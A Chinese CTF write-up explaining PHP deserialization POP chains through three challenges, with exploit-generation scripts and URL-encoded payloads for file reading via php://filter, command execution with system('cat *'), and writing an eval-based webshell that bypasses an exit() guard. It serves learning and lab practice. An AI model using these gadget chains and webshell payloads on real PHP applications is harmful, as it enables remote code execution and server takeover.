背景:
上周打比赛的时候遇到了一道叫:ezpop的题,进去一看是php,我以为这就是一道简单的与反序列化有关的php题,但没想到这涉及到一种本人之前没听到过的概念——pop链,因此以本文对相关知识点做一个简单的记录。
什么是pop
pop如文章标题所言,本质上是一种对于php反序列化的运用。
那什么又是反序列化呢?
序列化是为了方便于数据的传输,形象化理解就像物流的过程。你想把一张桌子通过从a–>b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来(装的过程就是反序列化)。
借用之前我们安全部门web方向的考核题举个列子:
经序列化之后,这个类转化成了一行蕴含各个变量数值,类型的字符串,显然,与传输这行字符串相比,将左边那个类传输要麻烦的多。因此我们要将数据拆开进行运输,到达目的地之后,再将拆开的零件组装进来,这便是序列化,而反序列化,自然就是序列化的逆运算了。
一般而言,序列化攻击多是在魔术方法中出现一些利用的漏洞,比如经典的wakeup魔术方法,我们可以修改数据的数值以自动调用从而触发漏洞。但是当关键代码或者漏洞不在魔术方法中,而是在一个类的普通方法中,这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。举个例子,pop链的经典入门题:[MRCTF2020]Ezpop
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
一点一点分析,首先这道题从魔术方法入手不是很现实,只能一个类一个类的分析了:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
可以看到这里有个include,这很明显是个危险函数,在很多ctf题目中,我们都可以通过文件包含干点坏事,下面有个invoke魔术方法,当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。
从第一个类可以看出,我们要满足:
$var=php://filter/read=convert.base64-encode/resource=flag.php
#base64加密一下,因为本题有过滤,过滤之后再用伪协议获得flag
然后再以调用函数的方式调用对象时自动触发_invoke方法,调append。这样将var定义为伪协议之后,就会以变量为$this->var的情况下调用append,触发文件包含。但问题是,我们该如何以调用函数的方式调用对象呢,看到第三个类:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__get()是一种魔术方法,在不可访问的属性中读取数据会触发。在_get($key)函数中,$function=$this->p,也就是成员变量p,此时会把$function调用为$function()函数,而$p是我们可控的,这样就能满足调用_invoke的条件了。因此为了让属性$p可以触发_invoke()魔术方法,我们必须将$p赋值为Modifier类的对象。那么现在的问题又成为了如何触发_get()魔术方法了,用什么方式再不可访问的属性中读取数据呢,看到show这个类:
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
看到__toString(),这同样是个魔术方法,当类的对象被当作字符串操作时调用,如果这个魔术方法被调用,我们可以看到,它会return $this->str->source,也就是读取有str属性的source,但如果我们将str赋值为Test类的对象,这样它就没有source属性了,会调用_get()魔术方法。现在问题再度转移,如何调用_toString()魔术方法呢?看到wakeup()这里,wakeup()是反序列化时调用的,很好满足。如果这个函数调用,在if那一行里它会正则匹配source里有没有被过滤的字符,这时的source是作为字符串被操作的,显然可以调用_toString()函数,因此我们要将source的属性赋值为Show。
现在思路就很明显了,pop链为:
unserialize()-->__wakeup()-->toString()-->__get()-->__invoke()-->append()-->include()
那么exp就是:
<?php
class Modifier
{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
}
public function __toString()
{
return "";
}
}
class Test
{
public $p;
}
$a = new Show('123');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
输入将回显base64解码即得flag。
因此pop链是什么就很明显了:一串通过像链一样多次调用类中的函数的代码。
总结:
__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:从不可访问的属性中读取数据会触发
赛题复现
2022DASCTF-ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
__call(),在对象中调用一个不可访问方法时调用
__toString(),类被当成字符串使用
__invoke(),调用函数的方式调用一个对象时的回应方法
像之前一样,构造pop链。
目标是get_flag(),__call()可以调用get_flag()。而_call()是在对象中调用一个不可访问方法时调用的,很显然可以由_invoke()调用,因为_invoke里有个莫名其妙的world()函数,整片代码中就出现过一次,就这里;好,现在的链是:__invoke()–>__call()–>get_flag(),我们继续。
调用__invoke()的条件是出现以调用函数的方式调用一个对象的情况,这种情况可以由run()函数实现,run()函数的内容是($this–>f1)(),奇奇怪怪的,看起来就像一个函数。 __toString()可以调用run()函数,当类被当成字符串__toString()被调用,这可以由__destruct()实现,毕竟__destruct里echo了f1和114514。因此完整的pop链出现了:
fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag
现在让我们来写POC:
<?php
class crow
{
public $v1;
public $v2;
public function __construct($v1)
{
$this->v1 = $v1;
}
}
class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
}
class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public $m1;
public function __construct($m1)
{
$this->m1 = $m1;
}
}
$f = new mix("\nsystem('cat *');"); //反序列化之后手动将字符数+1
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));
cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D
输入即得flag。
类似题:[EIS 2019]EzPOP
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
一步一步开始分析:
赋值,没什么好说的。
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
array_flip:返回一个反转后的数组;
array_intersect_key:比较两个数组的键名,并返回交集;
所以这个cleanContent大概就是返回path和object的交集
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {//在contents数组中,键给path,值给object
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
将cache作为参数调用cleanContents(),再将结果和complete一起返回他们的json数据。而且cache和complete都是可控的。
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
调用getForStorage()并将结果放入$contents,然后再用set方法处理key,contents,expire。值得注意的是,set函数是在B类里面的,所以$this->store应该要定义成B类,作为桥梁串联A类和B类,并且key和expire可控。
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
destruct(),类摧毁时调用。里面的内容很简单,当$this->autosave不成立,调用上面的save方法。autosave,顾名思义,自动保存,把它设置成autosave=false就行了。
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
看看B:
这两个很简单,一个返回int型的expire,另一个拼接options[‘prefix’]和$name
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
这个函数将data先格式化成string类型,然后根据options[‘serialize’]的值来处理data,options[‘serialize’]可控。
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
漫长的set函数
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire); //返回int型数据,options['expire']的
$filename = $this->getCacheKey($name); //将$name拼接在options['prefix']后面,最后应该是要写入的位置
$dir = dirname($filename); //获取路径中的目录名称部分
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value); //该函数特殊
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; //这里是要执行的核心代码
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
从这里我们可以看到$result = file_put_contents($filename, $data);我们显然可以通过他们写一句话木马。也就是想方设法让data等于一句话木马,然后写入$filename里。
先不管$filename怎么处理,直接像$data里添加一句话木马显然是不大现实的。因为我们可以看到,$data等于什么有点特殊:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
因为它的后面有个exit(),这个被称为死亡绕过问题,我们可以base64解码后写入,具体可参考p牛文章谈一谈php://filter的妙用。简单来说,由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以解码之后就剩php//exit了,这里有9个字符,但是呢base64算法解码时是4个字节一组,所以我们还需要在前面加些字符。
现在让我们用$data来写一句话木马,$data的值从何而来呢,看到set函数,里面有:$data = $this->serialize($value),所以data的值等于serialize($value)。
$value是set($name, $value, $expire = null)的参数。而调用set函数实际上是通过调用$this->store->set($this->key, $contents, $this->expire);也就是说$contents就是$value,而$contents = $this->getForStorage();即getForStorage()函数的返回值:
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
A::cleanContents(A::cache)
实现了一个过滤的功能,A::complete
更容易控制,直接写为shellcode。
由于$value
是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode
可以直接从json中提取出shellcode。所以将shellcode经过base64编码,B::options['serialize']
赋值为base64_decode
。
参数的赋值过程:
key->name->filename
//key可控。
//name是set($name, $value, $expire = null)第一个参数,B::set()由A::save()里
的$this->store->set($this->key, $contents, $this->expire)调用,因此key->name
//$filename = $this->getCacheKey($name)
cache->clean+complete->contents->value->data
//cache和complete可控
//getForStorage() 函数中:$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);complete可控,写shell。因此cache->clean+complete
//$value是set($name, $value, $expire = null)的参数。而调用set函数实际上是通过调用$this->store->set($this->key, $contents, $this->expire);也就是说$contents就是$value,而$contents = $this->getForStorage();即getForStorage()函数的返回值
//set():$data = $this->serialize($value),所以data的值等于serialize($value)。
函数执行:
A::__destruct->save()->getForStorage()->cleanStorage()
B::save()->set()->getExpireTime(),getCacheKey(),serialize()->file_put_contents写入shell
exp:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["ro4lsc"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
?>
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A64%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKeWJ6UnNjMk1pWFNrN1B6ND0%3D%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D
输入之后会在当前生成一个shell.php,蚁剑或者菜刀连上就完了。